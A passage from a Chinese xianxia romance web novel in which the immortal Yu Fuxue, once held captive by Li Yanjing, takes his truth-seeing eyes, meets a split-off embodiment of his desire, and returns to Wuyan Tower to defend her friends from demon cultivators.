“我本以为我会怨恨你。可后来我梦见同你共赴那凡人最为极乐的时刻,一来多去,我恍然惊觉,我从来都不怨你,而且,初见你第一眼,我就喜欢你了。”
他将我的手放下,灵力化梳,为我整理头发。
“眼睛……说起来,我也觉得我的眼睛特殊,比如我受罚那日,周围人都看不见你,我一个低阶弟子却能看得分明。”
李晏京轻轻地笑了一声,回忆着当时场景:“我本以为是仙人有意观看,但我后来发现你格外冷漠,好像不知道我能看见你。哦,我这双眼睛当真特殊,小时候可见精怪,长大后,连藏起来的仙人也能看见。”
原来如此,难怪他当时总往我的方向看。这双眼睛我早该注意到的,是我自大,是我心软。
棋差一招不过如此。
我嗫嚅着嘴唇,缓慢吐着气音:“你以为,你能永远困住本仙?”
“囚仙者,必遭天谴。”
李晏京侧耳听完我说的话,似笑非笑道:“可天也想杀你。”
他的手摁在我仙元的位置,眼瞳亮起一圈:“就是这里吧?磅礴仙力,天道也觊觎,不过我不感兴趣。”他没收手,反而望着那里咽了口唾沫,喉结滚动得十分明显。
“李晏京,别逼我恨你。”
我咬着后槽牙道。
恨,并不比爱的情绪淡多少,但我想,他并不想我们的结局落到这种地步,可再次出乎我的意料。
李晏京咬紧牙关,瞪视着我,不知哪根弦被触到,情绪起得突然,他浑身颤抖。
“郁负雪,我巴不得你恨我!这样我不至于一个人痛苦!”
“我并不求你爱我。”
他愤然起身,摔门而出。
我稍微愣神,李晏京的背影便消失在门口。
再回竹屋时,已经过了几天,李晏京的身上带着血腥气,进屋后,将我的剑放到桌上,无声示好。
“对不起,”他来到床边,伸手时看见自己手上的血污,立刻缩回手,狠狠闭眼,晃了晃脑袋,他离远些跪下,直视我,“我不该对你发脾气。”
我没什么表情的看着他。
外面想必很乱了,他的压力不一定比项席小,情绪不稳定很正常,况且他那番话在我眼里不算发脾气。
“那你让我走。”我如此说道。
李晏京低垂的头颅微顿,坚定地摇头:“不行。”他站起身,闷声咳了两下,又带走我的剑。
不欢而散。
再几日,李晏京回来得很晚,刚进门,就摔在地上,我叫他几声,他没有反应,只有微弱的呼吸声告诉我,他还活着。
我深吸一口气,转动眼珠,看向门口,隐约可见地上躺着个人。
“李晏京?”
李晏京其实没有晕过去,他在地上蜷缩身体,忍受灵脉被冲刷的痛感,背对着我,把自己的手咬得鲜血淋漓。
他没有感受过生长痛,但是他此刻急于成长,这带来的已经尽是痛苦。
灵气洗刷后,灵脉又拓宽数倍,他熟练地压下修为,从地上撑起自己,抬头朝我方向看时,他微微一愣。
我已经坐在床榻边,不知看了他多久。
李晏京差点脱力再次倒下,好在他稳住身形,坐在地上背靠木门,表情似哭似笑。
“我就知道困不住仙人多久……”
他的嗓音沙哑难听,浑身都是血。
李晏京问我:“为什么不趁机要了我的命?郁负雪,心软可是大忌。”
我也想知道为什么。
我应该趁他虚弱,剜出破妄眼,再将他打个半死,以报算计之仇。
或许是他看起来很惨,所以我没动手。
“这不重要,晏京。”
他的呼吸骤停,闭上眼睛,十分颓丧地仰头靠在门上,片刻后,他轻声道:“项席杀了魔尊,他现在是新任魔尊了。”
我眼睫微颤,居然已经过去这么久?
“嗯,他还有得走,”
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麻痹感还未过去,我说得很慢,我俩像是谈心,“心不够狠,他的位置就坐不稳。”
我们很少有这样平静对话的时刻,李晏京咧嘴而笑,喉结颤动:“看来你知道。”
我无端想起碧泉镇密密麻麻的白色游鱼,垂下视线,慢声道:“是,我知道。”
李晏京的眼睛睁开一条缝,落在空茫处,又聚焦在我身上:“那我呢?他们要我上最前方送死,郁负雪,我会有什么样的结局?”
我没看他:“万人之上,正道第一。”
李晏京又是笑,他从地上爬起来,踉跄几步,拖着步伐来到我面前,我当然不会惧他,在我眼里,他始终都是李晏京,仅此而已。
他跪了下来,双手扶在我的膝头,仰望着我,不知道我们想的是不是一件事——如果他还是那个小孩就好了,可以不经思考,哪怕被拖行,也要留住人。
“郁负雪,求你……求你试着爱我,可以吗?”李晏京嘴唇颤抖,声音极轻,说完他好像后悔如此逼我,低头环住我的腰,将脸贴在我的腹部,“对不起,我真的不知道该怎么办……”
“求你,仙人,我向你许愿。”
“试着爱我,试着看我,我想进入你的视线、你的世界,怪我贪婪不知满足。”
“对不起,我爱你。”
我说不清我的感受,李晏京知道怎么缠人,也知道我对他心软,我碰碰他的下巴,他会意地抬头。
我道:“仗着有伤,觉得我不会动你?”
稍微积攒了些力气,我的手指划过他的眼角:“之前不是怪我不兑现交易吗?你很聪明,晏京,既然你这么爱我……现在把眼睛给我罢。”
李晏京眼眸微动,刚要开口,我将手指摁在他的唇上,声音危险。
“嘘,别让我怀疑你不甘不愿。”
我没有给他什么痛苦,离别时,还大发慈悲地让他肆意亲吻、动手动脚。他的眼睛三日内不能视物,神识却能精准捕捉到我。
我摸摸他的头,再次问相同的问题。
“晏京,你恨我么?”
李晏京用嘴唇寻我鼻尖、我的唇,他尝到仙血,懊恼地停下来,抱着我和我道歉。
然后,他虔诚且真挚地说:“我爱你,郁负雪,我永远不会恨你。”
我忽然觉得,这段时间没什么,就像那五日之约一样,是我心甘情愿的纵容。
“我走了,记得想我。”
转眼,我消失在他的怀中。
我前往魔域找到项席,在他疑惑的目光中,在一处偏僻之地刻下暗藏于雕塑中的阵法,我没有同他解释,项席也并未询问,他无条件地支持我,一如幼时总喜欢说我厉害。
阵落成后,我以心头血隐匿天机,又送长弓一张,作为项席位登魔尊的贺礼。
“你该收下,它能助你稳下魔尊之位。”
项席没再推辞,他拿到长弓后十分开心,比迈入修真界时还要开心。他没告诉我他经历了什么,只说他现在很好,见到我也很好,如此便满足了。
我修养几日,私下找到参禅——那个邪极的佛修。
彼时正道联盟正在讨论下一次围剿魔尊项席的行动,他成长得不算慢,又因被正道驱逐,他们唯恐项席报复,想先下手为强。
他们言辞凿凿,说项席是个残暴不仁,为人不义的魔尊,手段严酷,比前任魔尊更甚,如若不在他初时斩草除根,必会后患无穷!
李晏京和项席认识,这不是秘密,他的话语权和指挥权一度被参禅分去大半,可参禅仍不满足——得了破妄眼,我更清楚他心中所想。
无非是觉得世人皆有罪,有才者均看不起他,他需要权力,需要他人的畏惧。
才能填饱他那可悲的心。
我将我的剑借给他,要他帮我个忙。
“七日之后,我要你拖住李晏京。”
50. 不怕我是假的
和参禅做完交易,我去看了李晏京。
现在的他没有破妄眼,就算我站在他面前,他也再不能看见我。
李晏京正伏在案前,桌案上纸张胡乱摆放,我在他的对面坐下,仔细端详他的面容。
“晏京,好好活着。”
我倾身和他唇瓣相碰,仙力顺着他的灵脉游走至心脏,牢牢裹住,蛮横地护住它。
“忘了我吧。”我轻声呢喃。
小憩也没有休息好,梦里场景颠来倒去,脑袋都隐隐钝痛。
我从梦中惊醒,但是没有立刻睁眼,只因面前有一道呼吸,离得很近,就像刚刚梦中的结尾一样。
李晏京什么时候醒的?盯着我看了多久?
我没出声,拿不准他的态度。
可下一秒,下颌被一只大手扣住抬起,我倏然睁开眼,和李晏京对视时一阵恍惚,好像梦里隐藏身形亲他时,他也该抬头的一样。
李晏京的目光危险,吻得凶狠,我知道他想惩罚我,我分明醒了,却不睁眼,他怕是以为我不想看见他。
“师……唔,师祖……”
我睁开眼,李晏京的眼中带着熟悉的光,之前没有看清,现在仔细观察,不像他本人。
我推开他,偏过头嘴唇微张喘着气,我阴恻恻地看着他,暗骂自己反应迟钝:“你是他割下来的欲念?”
李晏京垂着头,手指慢条斯理地轻抹薄唇,好似在回味,闻言抬眸,和之前端着的模样大不相同。
他眼神没有遮掩,让我怀疑他会不会选择剖开身躯,把我装进他空空如也的躯壳中。
李晏京开口道:“……没区别。”他们都是同一人,就算再有千千万个李晏京,他还是他。
我眉梢轻动,李晏京究竟怎么养成这种癖好的,没事喜欢把自己片成片流放?
我指尖微动,长靴脱落在地,我跪爬几步,一只腿跨过他的腿,手摁在他的大腿上。
我有意如此,李晏京看出来了,问道:“这次想要我办什么事?”
他抬手勾起我耳边一缕白发,牵到唇边亲了亲,“可是没用,郁负雪,你当着那么多人的面和项席走了,我好妒忌。”
我撑在他腿上的手一紧。
李晏京淡笑:“现在还抓我,位置再上一点,能引起什么你该知道。”
他抓起我的手,带着我的胳膊攀到他的肩上,另一只手绕过我的腰,灵力压过。我正因他直白的话发愣,浑身骤然酥麻,像主动扑他怀里似的。
我面对面坐在他的怀中,望着床幔,鼻尖轻嗅,先前闻见的血腥味淡了不少。
“你受伤了?还是王卿尘被你杀了?”我抻着胳膊,没有抱他。
李晏京也不在意,起码他现在牢牢把我掌控在怀中,他低头埋在我颈侧呼吸。
“没有,才被分离下来,有些异常很正常,”他在我耳边轻笑,“担心王卿尘?他看见什么不是告诉你了?杀不杀他都一样。”
李晏京的灵力像蛇一样顺着我的胳膊绕圈盘旋,稍微一动,我便被迫搂住他的脖子。
“师祖真是蛮不讲理。”我不咸不淡道。
李晏京道:“我倒是想做别的,我们都想。我们被剥离下来的每一道欲念都是为你而生、为你而死。郁负雪,好歹做做戏骗骗我,他不愿意开口告诉你的,我可以。”
这欲念比清冷克制的南玄仙尊邪性多了。
我一时间竟不知道说些什么。
李晏京抬起头,像是知道我在想什么,他的手穿过我的发丝,声音低沉:“怎么,不喜欢我这样?更喜欢季无涯那种冷情冷性的?可惜我本性如此。”
听他提起季无涯,我下意识地咯噔一声,紧贴的心跳暴露我的情绪,李晏京何其敏锐,立刻扣住我的脖子将我拉开,语气淡淡。
“郁负雪,你喜欢他?”
我眼眸微动:“不,我恨他,他和程月舒都得死。”
我不欲再提自己这段过去,我手指绕起李晏京的发丝,轻轻一扯,挺直腰板似笑非笑地望着他:“为何你总把自己片下来,对我有欲就这么见不得人?”
“口口声声说喜欢,怕是程月舒勾勾手指你就会跟着走。”我另一只手从他肩膀划到心脏处,“我修为恢复,已经不需要你了,师祖。”
“程月舒我可以自己杀,天下想要我死的人我也可以自己杀,我身边有项席、孟竹臣、清月……”
我重重咬在他的唇上,眉眼带刀,淡笑道:“师祖,你该哄我才是,哄好我,我的身边才能容得下你。”
一番云随雨后。*
我眼中微光闪过,修为精进不少,泣株生长的根茎细密,正是急需灵力的时候,经过补充,我的五感及修为更甚从前。
推开李晏京,手指轻动,屋门打开,院内阵法自转,汲取天然纯澈的露水裹住我,等水散开时,我刚扎起长发,并整理好衣服。
李晏京坐在榻边,用眼神回味。
我放下手,出神地抚过白发:“所以你还留在玄清宗?”
李晏京的声音散漫:“嗯,各派在商讨箴言和项席复活一事,我需要压住比较极端的个别修士。”
“当年各派基本都参与过强逐项席之事,他们拉不下脸提这个,就说我当年封印他,他如今归来,会报复所有正道之人。”
“听着你们关系不差,为什么会闹到这地步?”我问道。
李晏京眉头微蹙,沉思片刻道:“不记得了,项席在逢仙岛时对我没有什么杀意。”
我点点头,转而问道:“那么高阁里面的尸体?”天道放去勾引他的傀儡,他杀便杀了,存得像个宝似的是什么意思?
李晏京淡笑:“不知哪来的假货,他们都想杀我,我有时候头疼欲裂,难掩无端暴戾之心时就会去看看他们,能让我冷静一些。”
“毕竟修复登仙路要心无杂念……”李晏京说道一半,戛然而止,但我正一心多用,没注意到他有未尽之语。
心无杂念,所以南玄仙尊的无名峰上要静、要生灵们禁止啼鸣,要把自己活活锁在棺材中,如果我不曾出现……
他是不是要为天道而死?
我眼神阴沉,走到他面前,伸手抬起他的下巴,奖励似的放任他搂住我的腰:“不怕我也是假的?”
李晏京摇头:“不会,我能感觉到。”
我稍微满意。
离开魔域,我前往妖族。
我那日在梧言楼行得高调,不知祝青蚨听到箴言后,会不会后悔放过我。
但想来没人比程月舒更讨人厌。
果不其然,刚到梧言楼,大开的门里便倒飞出数个妖修,扇子飞回门内,妖修们砰砰几声砸在地上,好半天没爬起来。
孟竹臣冷笑着走到门口,轻摇手中折扇,锋利的目光一一扫过围观妖修。
“你们妖王都没发话收走这梧言楼,你们倒是各个猴急,听见似是而非的谣言,便来这儿寻不快活!”
孟竹臣展扇而笑:“怎么,酒肉吃得你们这群妖的脑子又成了摆设的豆腐花不成?既然如此,那也不必走了,留下来当个食材也不错。”
祝青蚨的确没对梧言楼下手,可他也没插手阻拦妖修夺取梧言楼、寻找我的踪迹。
我和李晏京隐在人群中。<
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p>我定定地看地上那几只妖,绿皮□□灯笼眼,黄毛手臂鼠精嘴,尚能爬起来的虎目粗眉眼带绿光,叫嚣得也最厉害。
“你们那老板不敢出来了?白发玄衣!说得不就是前段时间刚来我们这儿的那人吗!”
“戴面具的那个!”
“对!对!”
孟竹臣一只脚踩在门槛上,杏言和杏梧两人冷着脸,手持长鞭,一左一右站在孟竹臣的身后,眼瞳浮现近黑的红,可见她们这段时间有多么刻苦修炼。
“你们不想成仙吗?这世间多少年没出过仙人了!如今老天给了暗示!你们还不知道吗!大不了捉到人,到时候你们也一人一碗汤,沾沾味儿!”
“妖王不管!那就是默认让我搜!”
“搜出来,先献给妖王!”
杏梧一声厉斥,手腕抬起,长鞭如蛇窜出:“搜你的屁自己吃!我先撕了你的嘴!”
但我比她更快。
我拿开腰间的手,淡然走出,威压直接将那三人摁在地上,对着孟竹臣他们跪下。
本来热闹的围观妖修,余光触及我的白发,还在猖狂大笑的表情刹那间僵住,我慢慢斜眸,扫了眼他,回以轻笑。
暗月剑如电直出,先是平划过他的嘴,再以剑尖挑出他的妖丹,我另一边的妖修,则被数道冰片穿腹而过。
两颗浑圆饱满的妖丹浮起,飘至杏言和杏梧的面前,三人的脸上俱是激动。
我走过那被威压压得抬不起头的三名妖修,不动声色地回头看了眼妖群中的李晏京,他点点头,我便带三人进门。
大门关闭,隔绝妖修们呆滞的视线。
孟竹臣抿唇,他用扇子敲着手心,在我面前来回踱步,口中不断念着好。
“我……你真不该回来的,负雪。”
我对他笑:“好熟悉的话,可我还是回来了,放你们在这儿替我挡着,算什么?”
孟竹臣自知失言,摇头而笑。
杏梧和杏言对视一眼,抬起袖子掩面哭泣:“我们……公子……”
大堂内堪称一片狼藉,我摸摸她俩的头:“你们很厉害,妖丹是你们该得的。”
我又拿出在秘境中获得的妖晶和妖丹,将上品都给杏言和杏梧:“这个你们可以自己分,也可以给别的朋友分,但不要轻易相信别人,知道吗?”
杏言和杏梧两人长睫还沾着泪珠,纷纷俯身拜谢:“还未恭喜公子修为恢复,便先得这番大礼,我二人受之有愧。”
“公子心善,可惜上天作恶,偏不让您安生,真是好不公平。”
我鲜少被称心善,一时间不知道说些什么,她们聪明剔透,知我与孟竹臣有话要说,再次谢过我便退下整顿梧言楼。
我和孟竹臣走到角落,设下隔音结界。
他问道:“你找到泣株了是吗?”
我抱臂靠在墙上:“还得多谢孟兄。”
孟竹臣低头摸着腰间葫芦:“那就好、那就好,常善已经如此,我不能再看朋友……你能恢复修为,我真的很高兴。”
我伸出手,在半空中习惯性顿了顿,还是拍在他的肩上安慰道:“孟兄,会有办法的。”
等他情绪缓过来,我问道:“箴言之事我已知晓,除了这个,我不在的这段时间可还发生过什么?”
孟竹臣这才想起,他敲了下脑袋,从怀中掏出个信封:“一时激动,竟忘记和你说。”
“徐昭前不久找来,见你不在,就匆匆留下这封信,嘱咐我只能由你看。”
我接过信封,上面的字端端正正,与徐昭展露的性格倒不相似。
——郁负雪亲启。